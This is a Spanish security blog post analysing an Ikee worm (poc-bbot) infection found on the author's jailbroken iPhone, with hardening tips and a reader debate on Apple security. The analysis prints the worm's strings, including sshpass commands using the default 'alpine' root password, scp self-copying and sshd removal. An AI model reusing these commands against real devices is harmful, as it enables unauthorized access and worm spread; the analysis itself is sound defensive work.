13 junio 2011

Infección por virus en iPhone: Analizando un caso real

- ¿Virus en una plataforma Apple? Bah pero encima que hay pocos, no me irá a pasar a mí, no? - Esto es lo que cualquier Apple-maníaco diría hace un año (incluso alguno hoy) si alguien le preguntara cómo se protege ante el software malicioso para IOS y/o Mac OS X…

Bueno, pues el miércoles pasado por la noche, mientras Yago documentaba sus descubrimientos sobre Whatsapp en Android, yo me conectaba a mi Iphone para ver las similitudes/diferencias cómo se guardaban en IOS 4 los datos de dicha aplicación.

Si bien llevo jailbreakeando todos los iPhones que he tenido (2G, 3G y 4) e instalándoles SSH y Terminal para poder acceder ejecutar comandos desde la pantalla así como conectándome via remota, decir que apenas lo he utilizado en este último Iphone.

Así pues, enciendo el wireless en el iPhone y al conectarme via SSH me devuelve un error que no me permite acceder.

[root@Carmen ~]# ssh root@192.168.1.226
ssh_exchange_identification: Connection closed by remote host

Extrañado, abro el Terminal en el propio iphone y ejecuto netstat. Me aparecen un montón de conexiones en estado SYN_SENT desde la IP asignada al interfaz 3G hacia el puerto 22 TCP de otras IPs cercanas del mismo direccionamiento de red. 

Necesito entrar vía SSH al iPhone, así que accedo a Cydia y reinstalo OpenSSH. Ahora sí puedo acceder correctamente. Usuario root y una contraseña que cambié en su día (diferente a la "alpine" by default) y accedo sin problemas.

Ejecuto netstat de nuevo:

Lawphone:~ root# netstat 
Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  192.168.1.226.51281    10.162.168.144.ssh     SYN_SENT
tcp4       0      0  192.168.1.226.ssh      192.168.1.10.53487     ESTABLISHED
tcp4       0      0  192.168.1.226.51280    10.162.168.143.ssh     SYN_SENT
tcp4       0      0  10.162.168.246.51274   10.162.168.142.ssh     SYN_SENT
tcp4       0      0  10.162.168.246.51271   10.162.168.141.ssh     SYN_SENT
tcp4       0      0  10.162.168.246.51267   10.162.168.140.ssh     SYN_SENT


La conexión established es aquella por la que yo estoy ya conectado al Iphone, pero todas las demás en estado SYN_SENT indican que estoy intentando conectarme al servidor SSH de otras IPs.
La versión de netstat de iPhone no me permitía ejecutar el flag -p para poder ver qué proceso es el que está lanzando esas conexiones.

Mirando en /root/.ssh /known_hosts veo que "me he conectado previamente" a los siguientes hosts:

Lawphone:~ root# cat .ssh/known_hosts
1|0aO5VwD+Z3Bpt3O55FeO7vpwgKs=|QgZGuUpM8qn1/zK0YH4YqgABFyM= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3iond5gNpoGXOcO6ZY9/14Yx+7jDl5528Zg0fnSYpc3Yobpbj+4FMnCitDRxfSHeHUAlrxEKet665iJFxh8Hi+Ecnh0WRqVNx8zaE3+tI24I6yFBuRNSUP+XRuw5zIrlSclGxpko5p3jXakLuWt164DJhtY/neKo+woHmQNh3jzlrT9fDe7m4AknjuCRQjmi128SryAhfHwy3f3Yk/ddFYeaGsaC0m1jElgM1eIgtzqg/HIqpFhX9XEFf4laYYDQ/GKz6tQnFNsbRClKSsaDcs5sTW06E+qa9ThxjsZPCJJwYP0OqFvSNCfdPTn0tHHcqLHnMejvdxC0lkEcbw3ILw==
|1|jr9BvYyf1Z1I6RYP3CMGMs638qU=|oc6jWO73oPNHYe3Vfvn0UKtUU70= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwSY/eZaTgxjO0dzXtMTM2ZL3o6hZnqPq3NL0B3njqvEciJxk2lUGyp+CjA4lNeIIE+OWXHt9avJb1epQcE1H3I/5Wt3Mv0jZ1pUToYSryHfNLDvjyOILWGzJOzjVbhk8rwu1nA2hvF9c4PtUEMPQUMGwj4nmajfRqAzOJeDgIonGqxX8zHuw3ZZzZMCEi3Ugc75tzZnUn7Ep8WbzEK+EDRCBGRmpaD+V87jMsaWYM0o3MtHh7FHe2lw7CRAz/pXAaWudgPMlXuY90BT4aIsNMWwrW0MDGG7N8AeUlt06AZ5upBn30ErLZ6sqYvLbZiq+gz9rZynHUq0qrpKIwmiEiQ==
|1|It+t2v2s5qCPv/MrL4u+xAxGVj4=|/iiYUI4Zk743pKQ34vnPTfaYSZY= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3n/wEYDU510fimlBCNs9I8LhEfQXlrDTiPZXmlBvCwm7r6cMcvRfcplqKKhkzjpIPEhFI2lPkcVuJOB7bDsNoIlKTWTQYGGT8TtGdeGE6jdkg2OMhBoUyVZSxoySRkJBYgjPDsOfIPJLzByW0vjpNMQIdxl1SdyfIwsspGClwyIYJBK43zHyxGh9OBGvZ6NmxB9hZKf1gq2BeIlHAT0jacLMjxqPCMyEwC5JOzUKtYiWhipAZmJzG4eDBur0geeovtLDrTgK0TU00i3gn5bzkII52KD0Qy4+9seoG9r+QOKmsTjGvbmOhz2LfyTcbS1xxf7VZyXqXbpK/TJivvQMw==
|1|HmjU/oMjeY7V23pOs3BQAUJhJdQ=|pbSe6IfR2QaXGrfeqLsrQiEhNjM= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnzdaoR3Bat/M3BUHFDcAIvVWsMxJ8mBIVIcjVm33/DejArnxB7dtMLt2FyC7nndmSfW4sjltUYDrFTIjQeV9iboPaLHsxaK0tP2jageCmtlC1F9A/C3tO0Vrm+1nl2fL3BWExD9xC0KPuiOQXoB9x2FXTQTYylIJe3n/zQon7q5HnjDTfGtiJc5Ce0pE0Zet9lNC++8tfE17gzTABT3R2bdXW5dRyv3H2uKxJhylBYLTbeqhLbo5uHBZkncgCIsVQk7AhMfxEOgnwbiJXfVI3ww1CMqCZdDqzmXCyvlrge2VqIBGAsnfCWgS01VY/U0/59f6p2jjGZ8QlMkAyyjdCw==
|1|i3PAPZiKIGWi64xZhAwIDp3hRJA=|wDnmKjOhOXmL4gkGpPLHbpsk9h4= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxIdKdT3uLhVsAczEgLf1+LDjPBPyfsf1DCTMqjnOt64nCrSgKCG8Kq6+Ywtt2iaJO6rWeWzVfzdF4ZS/XbdIJ/mlH/dgRxcHDoCfECZofHchebOTLLrLIlOxatY7bzxco1hw/f7rhJvX1DaOz9Q3XL0e7Op1OMq2dNHPhv5tnxyXpznNrMfgKfnW7Q0iCqER2inTEEQjxtlIHRjZD1s+ZsV2rlViA23tEPYDTEkAaQMD5KnGtoJzhUl3wm/+D7Pk7gSguMzt6G3yb3mKcFWExu4rqAG5Sx95hCM2NiZEgeAYy1sylaZJldCjnn8tePVYpdL+kfHTnjTbXyGdgG4Now==
|1|ebEi+R8QPH9/dPsu6SRl3TzKwqY=|2D58FQWPP4M38JL8PpMss4EEHJ8= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZM1MLTjZie9xnIeAZXlxE1GVTPtWDF4Dr8lSHZUoMo5w22BZf7c7StKewu1YoaUbiQbm7TczZMJ5px9DEVoHiKcDgk+2z6v8v25GvhR5d/X/xFXUYbY6bVSLhxea2nHMQfwdrXxpg1esjHMupTS+hBJdCuDjyMR1jOXFnBDCNbO2hP0hMJ3iC3O08XfMzXJPVCAQQ6X0pMM622X6jfGx0TyLvoFBaZs4miE+fCoRdscDT6xBTmkV8YgOWlrPR7AM9jiPpPOtxsWFrIOJzLgUWI7d4WbYJ9EI9TOqT7tfHekwt1AsGqfSgXlhfGnclgYIYVhWHONHupxwcnmcZ69nf
|1|Xdv+4ZZbnvjyqqyjckqyno/mlHk=|2mFmT/d3+FsDiy0VGsNqAi9S05U= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyDdNsvK2Riab8wRBEBMHjfakix5/HQXls2K553VphKVx1CyhTgKSpbAHArZWbOtPaiRF/YEWdsUua0srvGLp66AvDKOs5eO1x2J6OYVXT+4x/lDqqY+511mC2+/hErP7koxqrU5LzF5fjW+0fiGbYSknPyhGD0vyr3kz17gI+eUIndAUusxx7ym8aPWvjpTY89begA629QhYkrkyQJnbzJ+CExTPkKAQenOITNkl8R8E+kqxWhWnxB8oPWOvGjKdD5kkm1lF/AfTWSTSiulef7kWgcn2L7qUnK0KCjSsWA+W3/D/lAFHCuasA61zkf4Cp9wGPd2vTMVkgpmbE5E0ww==
|1|aMYoyP3xrVsWNJy98P/98H9MIP8=|CoOD/YQZoAez+RtzdZJ6YfeO7Kk= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAp7wcDH+K4g2Yr7dDXzz+aqN/hw5ssyitS4bvSpgHlkAJo+RidCIVQ8YCUhf3pWm69357Je9nE7u9wGSRnyVaYCIBBv4oVShJ1Plh2YgRuJpVrwq3Jc8a9HUlnQ3IrFXJ/dNHQAQDT4oBYBeG08WotMBy3REaGisXXqrMLfT5RHUT8CWnyCyCVK6Yz4l+baN1nrX0MB/ft4ibC8T/aNyjx0oSfV/UHYZJgmS160wEBJMxk5BEcPl1TNhhTSqnfjMwIUrqRUR5Ij/myy781j+mLgoJSsAtV7aeADit9zCEkaam6rQtuHNnAIpNPVz/f8S5Dgmpt2RJN864Umy8S/hUrQ==
|1|tElBmB2oZo1UGVJufKtFGgI5Cgw=|tjc17Z+7IijstHV2G7TLOXgSNFI= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtUK3ARlHa+JockIRDi9Yqzj7WO0sFVAF9Ir52cNnU7VOYYXl1YDEtlHGIc1l7WTzIw73sdQVoKKL73t9a9jiWRAFRjiuB9y0cnlfivuVb1x+d2nVPreX3Zmuf1/PuZtKib7fTRQkvG9r0SC9kpzgjIHi4k3JF00aglZJb0fffvm6LmB0Ez8OCy/SmdPyNDzvCtOnWPRf4ZSXzeH2M8yafs1eFRAkUzRbsW9Y2gxNGQR8Ry/c790q0n4i2fhsiM8xG2+hdxcZODUF2Enpe4e76SK8VUcCxFKvJkJQDoMxrHMiHvsPWZkgGkotrapnuoPTKI1tiQfQoPJTtUWwPoQdKQ==
|1|fD28RYhqkZnFNnJ2fMeazKNXCx8=|8f+//PygDIa8Q8C8IeCS8hOacog= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxf5vqonaYliupKqVy5W4GJ74z6a9TIcArUhfk01s3envRBJNffVO6KOjkDBkTmWvN1/j5A/ZWhPkDwxfq0JDzdNkFUPKGAeGZCJYngyoXmvtnu2FlGnWtLOEFdfa8QoKYh9XWY7Q/LNjRN7DvOFmaWIPSJZwaH8n0l84jtaNf4Hmt1wL5M8rvcFQ2jbgZyn4eR885iZYiGwUJkVSVX4l4QwhG7u8FQqwyMKVQmbzY52lnwBbkaGXxur4/sgPzr5Ww0J1UHZjAwpU3ipAfsWc0jGURBw/7YpPJhastTSSPFKwqvWEM1V3PddIn+GIiRiHKYgbbXGNN6hlBCJ4z5od
|1|ABZAN1AvpVsfXiqP8JOi2rTZVWg=|R2opt3xulpGBF/M+lR2DHuPEULk= ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDroRtDxMZWv4TiLHNL5GRHcDjrqQVCCabCHWTTeT6KB+THjFcv3N6n2hErGp4bw0+TR31ZLmRCumDvq70SuaJY7cNP35OQAhMXaX+ZE95WOBm/LgUAtHhh7Y7+ZNX5k5zRjG7OoFkffhPFyqzj1rYC4sJZuWadlDaOenTpGfo9473NGFOcxDwSdon/ZTKMpTqjJAe2wLO9YKdQ8LoYKcqJeHeQ5ykeIGvuiu2GCAjAUZMV9bdj5MjcT/BBWIgEnpkkmJdhB+YbE4GW1YYE2xLE3fq+iGCBlvlZqb85sNlBfDdNlyyRIE10gDYnWa0VOQgUN9jVx/wQcWuXG5ufha9N


Tengo claro que no me he conectado a ningún servidor SSH desde mi iPhone, por lo que ya empiezo a confirmar lo que está pasando. Buscando en los logs doy con algo tan sospechoso como esto:

Lawphone:/var/logs root# tail -f AppleSupport/general.log 
2011-06-08 09:48:16 +0200,109,D9DC510C-E32F-47F6-B529-F4F67A51F4B3,42,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 11:04:09 +0200,109,2C648868-4569-466F-83A5-B5EF9BCB1705,43,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 12:16:03 +0200,109,02D6133E-6752-40B8-9B6A-7961BA0D40E4,44,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 13:50:30 +0200,109,BF8EED0B-89D3-4D61-9C86-CE0A57EE131E,45,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 15:43:31 +0200,109,0E4F78B5-3266-42EF-9EED-A978823B1DC3,46,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 16:08:58 +0200,109,37E0165C-7374-44B0-85B2-656EB7AC42A5,47,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 16:42:38 +0200,109,B9701793-C4D9-4901-AAE5-7812B71A83A2,48,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 17:34:25 +0200,109,2679E66E-C159-4AF4-901C-1A75FDA4D198,49,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 18:37:01 +0200,109,78D6C1AC-3501-44C6-8D9A-5F4A77FDDC19,50,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883
2011-06-08 19:19:42 +0200,109,39F4F7B3-D6A7-4B10-9A46-78709D39B461,51,poc-bbot,KERN_PROTECTION_FAILURE at 0x00003883


No dispongo del comando "ps" en mi iphone, por lo que no puedo buscar qué proceso me la está liando. Sin embargo, al ejecutar "top" encuentro un simpático "poc-bbot" en el top 5 de procesos usando el procesador de mi iPhone.

Googleando por poc-bbot, veo varios enlaces que indican que, efectivamente, tengo un bicho en el iPhone. En este caso se trata del virus Ikee, un viejo conocido (por no decir el primer virus existente para iPhone). Además cambia el fondo de pantalla por una foto de Rick Astley, tira el servicio SSH y se intenta reproducir buscando conectarse con root/alpine via SSH a otros dispositivos iPhone.

Antes de ejecutar los pasos para borrarlo, me copio los ficheros propios del virus: /bin/poc-bbot, /bin/sshpass, /System/Blibrary/LaunchDaemons/com.ikey.bbot.plist  y /var/lock/bbot.lock. Curioso pero los ficheros /var/log/youcanbeclosertogod.jpg y /var/mobile/LockBackground.jpg (también referenciados en los enlaces que encontré en Google) no existían en mi iPhone. Efectúo los pasos de eliminar el virus, borro los ficheros y hago un kill -9 al proceso poc-bbot que encontré con "top".

Reinicio el iphone y veo que todo ha vuelto a la normalidad. Malware eliminado!

Sin embargo, ahora vamos a analizar los ficheros del "bicho" que guardamos previamente.

com.ikey.bbot.plist

[root@Carmen ~]# more com.ikey.bbot.plist

com/DTDs/PropertyList-1.0.dtd">


Label
com.ikey.bbot
Program
/bin/poc-bbot
UserName
root
RunAtLoad

KeepAlive

 


Es un script de arranque típico en sistemas Apple que arranca al inicio el fichero /bin/poc-bbot

poc-bbot

Un "file" nos dice que es un ejecutable para Match-O ARM > Fichero compilado para iPhone en este caso
LawBook:~ Lawrence$ file poc-bbot 
poc-bbot: Mach-O executable arm
Haciendo un strings al fichero que estaba en /bin/poc-bbot vemos lo siguiente:
LawBook:~ Lawrence$ strings poc-bbot 
__dyld_make_delayed_module_initializer_calls
__dyld_mod_term_funcs
%i.%i.%i.
/var/lock/bbot.lock
getifaddrs ******
getnameinfo() failed: %s
0.0.0.0-0.0.0.0
pdp_ip0 ******
%s.%s.%i.0-%s.%s.%i.255 ******
I know when im not wanted *sniff*
IIIIIII Just want to tell you how im feeling
192.168.0.0-192.168.255.255 ******
202.81.64.0-202.81.79.255 ******
23.98.128.0-123.98.143.255 ******
120.16.0.0-120.23.255.255 ******
114.72.0.0-114.75.255.255 ******
203.2.75.0-203.2.75.255 ******
210.49.0.0-210.49.255.255 ******
203.17.140.0-203.17.140.255 ******
203.17.138.0-203.17.138.255 ******
211.28.0.0-211.31.255.255 ******
58.160.0.0-58.175.255.25 ******
awoadqdoqjdqjwiodjqoi aaah!
Checking out the local scene yo
Random baby
%s.0-%s.255
Lannnnn
VODAPHONE
OPTUSSSS
Telstra
%i.%i.%i.%i
Oh a sheep!
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99' ******
alpine ******
Error is sshpass there?
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'
sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s ******
sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'
cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg ******
rm -f /usr/sbin/sshd; killall sshd ******
uname -n
rm /bin/sshpass
rm /bin/poc-bbot
/bin/poc-bbot
/bin/sshpass
rm /var/mobile/Library/LockBackground.jpg; echo "
 - Removed old background"
/var/log/youcanbeclosertogod.jpg
/var/mobile/Library/LockBackground.jpg
/System/Library/LaunchDaemons/com.ikey.bbot.plist
launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist ******
rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload /Library/LaunchDaemons/com.openssh.sshd.plist ******
killall sshd ******

He remarcado con ****** aquello que más me ha llamado la atención:
  • getifaddrs -> Qué IP tengo asignada ahora?
  • El interfaz pdp_ip0 es el que por defecto se levanta en las conexiones 3G en iPhone. -> supongo que será parte de la llamada a getifaddrs (pdp_ip0) 
  • %s.%s.%i.0-%s.%s.%i.255 -> Del direccionamiento de red que tengas en el interfaz 3G, crea una lista con todas las direcciones posibles de esa red.
  • Diferentes rangos de red públicos de redes de telefonía móvil de Australia. Además está el direccionamiento privado 192.168.0.0/16, que imagino que también se asignará por parte de algún operador en Australia, al igual que hace Movistar aquí con direccionamiento 10.0.0.0/8 (al menos me he encontrado de este tipo de direccionamiento en el intefaz 3G de mi iphone un montón de veces)
  • sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'  + alpine -> ¿Está claro no? Conéctate a la IP que te toque en el bucle por SSH con contraseña "alpine" y si ya te habías conectado a esa IP pero ha cambiado la key del servidor, añádela al known_hosts sin preguntar (Lo que interesa es reproducirse e infectar, claro está). Escribe un "echo 99". Imagino que así vemos si hemos acertado o no con la contraseña "alpine" de ese Iphone
  • sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s -> Copia con SCP los ficheros necesarios para reproducirte en el nuevo iphone víctima 
  • cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg  -> Pon a Rick Astley y su "Never gonna give you up" de fondo de pantalla
  • rm -f /usr/sbin/sshd; killall sshd -> Borra el servidor SSH del iphone y mata el proceso para hacer más complicado el borrado del propio "bicho"
  • launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist -> Ejecuta lo que diga este script (típico de arranque en plataformas Apple) Pon el bicho a funcionar
  • rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload /Library/LaunchDaemons/com.openssh.sshd.plist -> Borra el script de inicio del servicio SSHd y tira el servicio actual. -> Digo yo que ¿esto tendría que ejecutarse en orden contrario no? Primero tiro el servicio con el script de arranque y luego lo borro…  
  • killall sshd -> Mata el servicio sshd actual
/bin/sshpass es un binario que se ejecuta como helper de poc-bbot para conectarse a las posibles víctimas y copiarles lo necesario para seguir infectando iPhones.



Conclusiones
  • /var/mobile/Library/LockBackground.jpg -> No existe en IOS 4 por eso que no me enteré que tenía el bicho, al no haberme cambiado el fondo de pantalla por el majete Rick Astley. Este virus era efectivo en versiones de sistema operativo de Iphone inferiores a la 4
  • Me vino bastante bien descargar desde Cydia una herramienta llamada Sysinfoplus. Te permite, entre otras cosas, listar los procesos que están corriendo en el iPhone así como información de conexiones de red. Me valió después de haber desinfectado el iPhone para comprobar que ya no existían más procesos sospechosos, conexiones salientes raras, carga de procesador del iPhone, etc,... Es gratuita y recomendable si tienes hecho el jailbreak
  • En mi caso, en el interim entre que instalé OpenSSH y alguna que otra cosa más, nada más tener mi iPhone nuevo, tuve la mala suerte que un usuario infectado en mi misma red de Movistar me contagió el Ikee, de manera que;
  • Si te instalas OpenSSH para tener acceso por SSH al iPhone, yo tendría en cuenta varias cosas:
    • Instala OpenSSH con los servicios 3G y Datos deshabilitados. Hazlo vía wireless.
    • Conéctate al dispositivo y cambia inmediatamente la contraseña de root (alpine por defecto) por algo mucho más complicado.
    • Haz que el servicio SSHd escuche sólo en la interfaz privada. Lo normal es que sólo lo arranques en algunas redes muy definidas (en mi caso la de casa únicamente). Para eso añade la línea "ListenAddress a.b.c.d" al final del fichero /private/etc/ssh/ssh_config. Donde a.b.c.d es la IP del interfaz wireless que asignas a tu Iphone en tu red confiable.
    • Que no arranque como servicio el SSHD en el iphone sí o sí. Es preferible tenerlo que levantar manualmente cuando quieras conectarte. Así minimizas el tiempo de exposición. Para ello ejecuta en consola del iphone: launchctl unload -w /Library/LaunchDaemons/com.openssh.sshd.plist
    • Tened cuidado con el Toggle-SSH para SB Settings, puesto que en cuanto lo utilizas, habilitará por defecto que se ejecute al arranque! Al no ser algo que se use muy a menudo, es mejor no tener la extensión de Toggle-SSH y habilitarlo/deshabilitarlo desde la propia aplicación de OpenSSH manualmente.
  • Teruel por supuesto que existe y el que no quiera ver que el malware para Apple cada vez está más a la orden del día debido al espectacular crecimiento de ventas y popularidad de la marca de la manzana, es querer seguir creyendo en los reyes magos. El malware para Apple es un hecho y ha llegado para quedarse!

35 comments :

Natxo Asenjo dijo...

Este agujero en los iphones no es culpa de apple, así que tu conclusión no es correcta del todo :-)

Lo que prueba esto es que la gente no tiene ni idea de lo que hace con tal de conseguir un beneficio inmediato (en este caso, liberar su móvil con un jailbreak). Si hubieran dejado el sistema tal y como lo compraron no habrían tenido este problema.

Si la peña se pone a trastear con cosas que no comprende, también tendrá que aceptar las consecuencias de sus acciones. Es un momento ideal para el aprendizaje.

Román Ramírez dijo...

Como norma general, el fanático tipo de Apple está en esa fase que pasaron los fanáticos tipo de Linux hace tiempo: "$mi_sistema es invulnerable porque no es M$". Con el agravante de que en el pasado, podías tener cierta expectativa de que un bicho no dirigido podía no infectarte, pero ahora no se puede esconder la cabeza bajo la arena.

Natxo Asenjo que sea necesario tener jailbreak, ssh y contraseña alpine para que afecte ESA infección en concreto, no quiere decir que el riesgo no exista. El problema que subyace es que nadie se para a pensar en esa bondad que se llama AGUJERO (AGUJERO ENORME, diría yo) que permite hacer diversos jailbreaks.

¿Qué pasa cuando alguien no-tan-majete en vez de liberarte un jailbreak para el iphone desarrolle el TERROR a partir de una de esas diversas vulnerabilidades que sí existen (en todos) los sistemas de apple?

Hay que ser prudente y asumir que todas las plataformas son igualmente vulnerables y que hay que plantearse todos los mecanismos de protección posibles (y razonables) para ello.

Javier Soto dijo...

Articulo virus iPhone


X



Inbox
X

Reply
Javier Soto ✆

show details 8:07 AM (49 minutes ago)

http://www.securitybydefault.com/2011/06/infeccion-por-virus-en-iphone.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityByDefault+%28Security+By+Default%29&m=1

Muy buen articulo :)
Con lo que discrepo es con la referencia a la típica frase 'en Mac no
hay virus' y usar esto como argumento en contra. Claramente no es
ningún agujero en iOS, sino simplemente el hecho de estar instalando
un software de terceros, no aprobado por Apple, tras modificar el
teléfono (anulando la garantía), que hace la estupidez de instalar un
demonio SSH que por defecto se arranca con la misma contraseña para
todo el mundo y bien documentada en internet! :p
Creo que todavía es un poco pronto para decir: 'en iPhone hay virus',
por suerte :)

@Román: Tu argumento es que si le prestas tu iPhone a otra persona, puede abrirte ese agujero haciéndote jailbreak, y por tanto el iPhone es inseguro? :P Porque entonces cualquier cosa es insegura. Si le permites a otra persona manipular tu dispositivo....

JLES dijo...

Estoy totalmente de acuerdo con Natxo Asenjo.
Hace unos días dos amigos y yo, los tres informáticos y con iPhone tomando unas cañas nos dimos cuenta de que ninguna ha jailbreakado el móvil. Sin embargo, el dueño del bar lo había hecho nada más comprarlo (ni qué decir tiene que no sabe nada de informática).

Llevo usando sistemas Windows desde hace más de 20 años. Nunca he tenido personalmente un problema serio con virus (no así en la empresa y amigos), a pesar de sólo usar antivirus gratuitos. El año pasado me compré un Mac y también estoy encantado con él.

No sé quién lo dijo, pero tenía mucha razón "El mejor antivirus es el sentido común"

Sergio C. dijo...

Cuando estaba leyendo esta noticia en el RSS estaba pensando justo lo que comentas. En el post se toma como raíz del problema el propio sistema operativo del móvil y se menciona muy levemente el hecho de que para poder tener ssh y que este fallo de seguridad se de es requisito indispensable el haber hecho Jailbreak al teléfono y haber instalado el servidor SSH.
Quizás esto sería una cosa a remarcar más ya que no siempre los fallos de seguridad vienen de un mal software si no de la mal administración de un software.

No defiendo a Apple para nada, así como no defiendo a ninguna otra empresa, que cada uno se gane la defensa con su reputación.

mhergon dijo...

No te confundas... El sistema es seguro siempre y cuando no se toque lo que no se debe, y en este caso es tan simple como no hacer el jailbreak... ¿Qué existe jailbreak? Sí, pero Apple en cada nueva versión lo soluciona siempre que puede...
No es justo afirmar que un sistema es vulnerable si el propio sistema ha sido cambiado por un jailbreak y por tanto, ha sido "abierto". Es como si en Windows 7, desactivas por completo la alertas de seguridad, el sentido común lo debes tener siempre!

Alberto Ortega dijo...

No, no te confundas tú. Un ejemplo facil y para toda la familia es JailbreakMe. Se trata(ba) de un método para realizar jailbreak que utilizaba (si no recuerdo mal) dos fallos de seguridad, y que lo único que había que hacer era abrir una web.
¿Crees que éso no se puede aprovechar para propagar malware? Utilizando ese fallo de seguridad con abrir una web tu iPhone podía quedar totalmente comprometido.
Y por cierto, ya se está desarrollando un nuevo JailbreakMe para las versiones actuales. Ese fallo de seguridad está presente, aunque no se haya hecho público. Pero, ¿y si lo desarrolladores de malware también lo tienen? ¿Crees que Apple va a poder solucionarlo antes de que se publique, y/o se explote? Lo dudo mucho.
Decir que Apple o cualquier sistema es totalmente seguro, a día de hoy, no demuestra más un juicio nublado por el fanatismo.
Un saludo.

JLES dijo...

Desde luego que ningún sistema es seguro, y si no que se lo digan a los de INTECO, la web de la Administración Pública dedicada a advertirnos de posibles peligros, y les roban datos de 20000 usuarios de su plataforma de formación online, ¡OLE!

mhergon dijo...

1. Nadie ha dicho que es totalmente seguro, pero en Mac por ejemplo, es difícil que entre cualquier cosa "grave" sin dar permisos de administrador. Por tanto, sólo hay que tener sentido común y se estará protegido de la mayoría de amenazas...
2. Todo el mundo comete errores, pero a tiempo, se pueden resolver, y para eso están las versiones BETA y posteriores....
3. El próximo jailbreakme es para iOS 5 que aún está en BETA y por tanto no es final, y por tanto tiene errores, y por tanto...

Y por último, me gusta Apple, pero no soy un fanático ni defiendo que sea seguro 100%. De hecho, en mi Mac  tengo un firewall de entrada, un software que limita las conexiones salientes y me informa de todas ellas y por último, acostumbro a comprar software legal, que más seguro que eso hay poco...

Como conclusión, Mac OS X, Ubuntu y todos los sistemas basados en Unix son 98% seguros, siempre y cuando se use el sentido común.

Pitagorias dijo...

Mucha inseguridad en MAC y tal,.. Pero en definitiva se te han metido por usar la password bydefault XD

Carlos Butron dijo...

Hola Lorenzo,

Como usuario de Mac OS X ya me habeis puesto paranoico hehe. Ya tengo tapada la cam a lo maligno.. y ayer me instale BitDefender, pero después de 2 horas no encontró nada sospechoso, y eso que llevo 3 años sin ningún software defensivo en OS X. Eso sí, tengo el firewall bien configurado y cuando me aburro repaso concienzudamente procesos y puertos abiertos.

¿creeis necesario software defensivo? ¿o lo recomendais solo para usuarios que no se preocupan de que ocurre internamente en sus máquinas?

Sin entrar en el debate de si Mac$, M$, Linux, etc.. que me da igual, uso Mac por que ahora mismo me siento cómodo, pero mañana puedo cambiar de Sofá y hasta de cojines...

Seguid así. Saludos!

Natxo Asenjo dijo...

en ningún momento he afirmado que los productos de apple sean invulnerables. Sólo he señalado que la conclusión que se saca de éste fallo de seguridad es incorrecta. La argumentación parece razonable, pero no deja de ser un sofisma.

Tampoco hay que exagerar las cosas porque sí :-)

Tommy dijo...

Tras leer el artículo por RSS me asaltaba la duda de que si este problema se podría dar en un modelo normal y corriente, sin haberle realizado eso del jailbreak. Los comentarios me han sacado de dudas. Gracias. Como dice uno de los comentarios..."Nunca está de más aplicar el sentido común". Aún mis colegas no se explican porqué teniendo mi Ipad2 no lo he jailbreakeado. Mi respuesta es sencilla: "No lo necesito y si me he comprado un ipad2 es para que mi vida sea más sencilla ;-) ". Un saludo y gracias, como siempre, por ilustrarnos con vuestros conocimientos que son de gran ayuda.

Matias Delvalle dijo...

Hola Lorenzo te hago una pregunta como realizaste un netstat desde la consola de iphone? ya que cuando tiro el comando netstat me sale command not found.

Lorenzo_Martinez dijo...

Contesto en genérico a todos. No hay ningún sistema ni plataforma seguros al 100%. Microsoft ha sido siempre el blanco del desarrollo del malware, fundamentalmente porque Bill Gates cumplió su sueño logrando que todo el mundo pudiera tener uno en su casa. Microsoft se ha tenido que ir poniendo las pilas con la seguridad de sus productos y la prueba de ello es Windows 7.

En el caso de los productos de Apple, efectivamente el hacer el jailbreak (en el caso de Iphone o el Ipad) al instalar OpenSSH se deja el sistema con el servicio expuesto con el usuario Root y una contraseña por defecto. No es culpa de Apple, por supuesto que no, en este caso. Sin embargo, los jailbreaks se pueden hacer porque alguien encuentra una vulnerabilidad que permite saltarse una restricción que la gente de Apple se ha esmerado (poco o mucho)
 en proteger y que no han podido hacerlo bien. El que gracias a un fallo en el parsing de PDFs en Safari permitiera ejecutar código en el iphone y se hicieran jailbreaks en la versión 3 del sistema operativo de iphone, sí que es culpa de Apple.

Prueba de que Apple llega tarde a la implementación de medidas de  seguridad es que ahora añadirán iniciativas como DEP y/o ASLR (en Mac OS X Lion!!!!)
Desde hace más o menos un año todas las empresas de antivirus están publicando productos para Mac ¿Por qué será?

